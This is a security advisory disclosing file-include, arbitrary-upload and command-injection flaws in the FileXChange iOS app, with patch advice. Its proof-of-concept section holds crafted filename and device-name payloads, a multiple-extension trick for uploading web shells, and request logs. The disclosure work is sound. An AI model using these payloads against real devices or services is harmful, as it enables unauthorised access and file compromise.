Document Title:
===============
iStArtApp FileXChange v6.2 iOS - Multiple Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1237
Release Date:
=============
2014-03-26
Vulnerability Laboratory ID (VL-ID):
====================================
1237
Common Vulnerability Scoring System:
====================================
7.4
Product & Service Introduction:
===============================
FileXChange is a handy file manager for iPhone, iPod Touch and iPad. With FileXChange, you can share files with Mac, Windows, Linux and other iOS devices,
and use your iPhone, iPod Touch or iPad as a flash memory. With FileXChange, your iPhone, iPodTouch or iPad becomes a flash-memory drive. You can store files,
open them on your device or on any MAC or PC, wirelessly, using a simple internet browser.
(Copy of the Homepage: https://itunes.apple.com/us/app/filexchange/id428955307 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple high severity vulnerabilities in the official iStArtApp FileXChange v6.2 iOS mobile application.
Vulnerability Disclosure Timeline:
==================================
2014-03-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
iStArtApp
Product: FileXChange - iOS Mobile Web Application 6.2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official iStArtApp FileXChange v6.2 iOS mobile web-application.
A file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path
commands to compromise the web-application or mobile device.
The web vulnerability is located in the `filename` value of the `Upload a File` module. Remote attackers are able to inject own files with
malicious `filename` value in the upload POST method request to compromise the mobile web-application. The attack vector is persistent and
the request method is POST. The local file/path include execution occcurs in the main index file dir list. The security risk of the local
file include web vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 7.5(+)|(-)7.6.
Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application user account with
low user auth. Successful exploitation of the local file include web vulnerability results in mobile application or connected device
component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Upload a File > Submit
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir List (http://localhost:8888/)
1.2
An arbitrary file upload web vulnerability has been discovered in the official iStArtApp FileXChange v6.2 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.
The vulnerability is located in the `Upload a File` module. Remote attackers are able to upload a php or js web-shells by renaming the file with
multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name and extension
`test.txt.html.php.js.aspx.txt`. After the upload the attacker needs to open the file with the path value in the web application. He deletes the
.txt file extension and can access the application with elevated executable access rights. The security risk of the arbitrary file upload web
vulnerability is estimated as high(+) with a cvss (common vulnerability scoring system) count of 7.2(+)|(-)7.3.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged application user account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] Select File > Upload
Vulnerable Parameter(s):
[+] filename (multiple extensions)
Affected Module(s):
[+] Index File Dir List (http://localhost:8888/)
1.3
A local command/path injection web vulnerabilities has been discovered in the official iStArtApp FileXChange v6.2 iOS mobile web-application.
A command inject vulnerability allows attackers to inject local commands via vulnerable system values to compromise the apple mobile iOS application.
The vulnerability is located in the vulnerable `devicename` value of the wifi fapplication. Local attackers are able to inject own malicious
system specific commands or path value requests via devicename value. The injection requires an active sync of the device information by new connections.
The execution of the local command inject via devicename value on sync occurs in the header loction of all interface sites. The security risk of the local
command/path inject vulnerability is estimated as high(-) with a cvss (common vulnerability scoring system) count of 5.7(+)|(-)5.8.
Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted access and no user interaction.
Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to
compromise the mobile iOS application or the connected device components.
Request Method(s):
[+] Sync
Vulnerable Parameter(s):
[+] devicename
Affected Module(s):
[+] Index File Dir List (http://localhost:8888/x)
[+] All Interface Header Sites (http://localhost:8888/)
1.4
A local command/path injection web vulnerabilities has been discovered in the official iStArtApp FileXChange v6.2 iOS mobile web-application.
A command inject vulnerability allows attackers to inject local commands via vulnerable system values to compromise the apple mobile iOS application.
The vulnerability is located in the vulnerable `foldername` value of the wifi file dir list module. Local attackers are able to inject own malicious
system specific commands or path value requests in the vulnerable foldername value. The injection requires an active sync with the wifi app stored folders.
The execution of the local command inject via foldername value on sync occurs in the file dir index list of the main upload path. The security risk of
the local command/path inject vulnerability is estimated as high(-) with a cvss (common vulnerability scoring system) count of 5.6(+)|(-)5.7.
Exploitation of the command/path inject vulnerability requires a low privileged iOS device account with restricted access and no user interaction.
Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to
compromise the mobile iOS application or the connected device components.
Request Method(s):
[+] Sync
Vulnerable Parameter(s):
[+] foldername (path value)
Affected Module(s):
[+] Index File Dir List (http://localhost:8888/)
[+] Sub Folder/Category File Dir List (http://localhost:8888/)
Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attacker without user interaction or privileged application user account.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below to continue.
PoC: Filename [Index]
<input name="chk1" type="checkbox"><img src="/tmp/trashCan.gif" align="absmiddle"> ......
<img src="/tmp/image.gif" align="absmiddle"> <a href="<[./[LOCAL FILE INCLUDE VULNERABILITY!]>.png]">./[LOCAL FILE INCLUDE VULNERABILITY!]>.png.png</a> - 0.5 Kb, 2014-03-24 12:01:44 <br />
</p><h3>To upload a file, select it and then press 'Submit':</h3><h3><label><input type="file" name="InvioFile"
id="file" size="40"></label></h3><label><input type="submit" value="Submit" /></label><font size="2" color="white" </a font> <br /><br />
To delete a file or a folder, select its checkbox and press 'Submit'<br />Please note that you are allowed to delete one file at a time.</form></body></html></iframe></a></div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.102:8888/Work/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr��e des Inhalts[1749] Mime Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------26958314732313
Content-Disposition: form-data; name="InvioFile"; filename="<./[LOCAL FILE INCLUDE VULNERABILITY!]>.png"
Content-Type: image/png
Status: 200[OK]
GET http://192.168.2.102:8888/Work/./[LOCAL FILE INCLUDE VULNERABILITY!]>.png Load Flags[LOAD_DOCUMENT_URI ] Gr��e des Inhalts[1750] Mime Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[1750]
Date[Mo., 24 M�r. 2014 12:01:46 GMT]
1.2
The arbitrary file upload web vulnerability can be exploited by remote attackers without userinteraction or privileged application user account.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below to continue.
PoC: Filename [Index] (extensions|access)
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://192.168.2.102:8888/Work/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr��e des Inhalts[1749] Mime Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------26958314732313
Content-Disposition: form-data; name="InvioFile"; filename="test.png.html.php.js.aspx.png"
Content-Type: image/png
Status: 200[OK]
GET http://192.168.2.102:8888/Work/./[LOCAL FILE INCLUDE VULNERABILITY!]>.png Load Flags[LOAD_DOCUMENT_URI ] Gr��e des Inhalts[1750] Mime Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.102:8888]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.102:8888/Work/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[1750]
Date[Mo., 24 M�r. 2014 12:01:46 GMT]
1.3
The local command injection web vulnerability can be exploited by local attackers with physical device access privileges and without user interaction.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below to continue.
PoC: Devicename [Header Location]
<div align="center"><a href="http://www.istartapp.com"><img src="/tmp/icon_75_stondata.gif" height="75" align="middel"> </a><h1>FileXChange</h1>
<h2>Device: IPhone 360*¥337><"><iframe src="a"> - SW: Ver 6.2</h2><div align="left"><h3>/Work/</h3><form action="" method="post"
enctype="multipart/form-data" name="form1" id="form1"><p><div align="left"><h2><a href=".."><img src="/tmp/folder_up.gif" height="40" align="absbottom"/></a></h2>
1.4
The local command injection web vulnerability can be exploited by local attackers with physical device access privileges and without user interaction.
For security demonstration or to reproduce the local web vulnerability follow the provided information and steps below to continue.
PoC: Foldername CHK
<a href="><"><./[LOCAL COMMAND INJECT VIA FOLDERNAME VALUE CHK]>/</a> - 0.1 Kb, 2014-03-23 14:31:29 <br />
<input type="checkbox" name="chk1" /><img src="/tmp/trashCan.gif"align="absmiddle"/> ...... <img src="tmp/folder.gif"align="absbottom"/>
<a href="Pictures/">Pictures/</a> - 0.1 Kb, 2014-03-23 14:31:29 <br />
<input type="checkbox" name="chk2" /><img src="/tmp/trashCan.gif"align="absmiddle"/> ...... <img src="tmp/folder.gif"align="absbottom"/>
<a href="Work/">Work/</a> - 0.1 Kb, 2014-03-24 11:58:33 <br />
</p><h3>To upload a file, select it and then press 'Submit':</h3><h3><label><input type="file" name="InvioFile" id="file" size="40"></label></h3>
<label><input type="submit" value="Submit" /></label><font size="2" color="white" </a font> <br /><br />To delete a file or a folder,
select its checkbox and press 'Submit'<br />Please note that you are allowed to delete one file at a time.</form></body></html></iframe>
Solution - Fix & Patch:
=======================
1.1
The file include web vulnerability can be patched by a secure parse of the filename value in the POST method upload request.
Parse also the vulnerable index output listing with the filename value to prevent further execution of injected file requests or path values.
1.2
The arbitrary file upload web vulnerability can be patched by a secure encode and filter restriction of the filename value.
Disallow multiple extensions of files, encode and parse the filename again.
1.3
The local command injection web vulnerability can be patched by a secure parse and encode of the vulnerable device name info value.
Encode the sync input of the device name and setup a own secure classe to encode all output of device information values.
1.4
Parse and encode the foldername value in the add via sync POST method request. Prepare to encode and filter also the foldername oputput listing in the index- or sub-dir.
Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as critical.
1.2
The security risk of the arbitrary file upload web vulnerability is estimated as high.
1.3
The security risk of the first command inject web vulnerability in the device name value is estimated as high(-).
1.4
The security risk of the second command inject web vulnerability in the folder/path value via sync is estimated as high.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright � 2014 | Vulnerability Laboratory [Evolution Security]
--
VULNERABILITY LABORATORY RESEARCH TEAM
DOMAIN: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com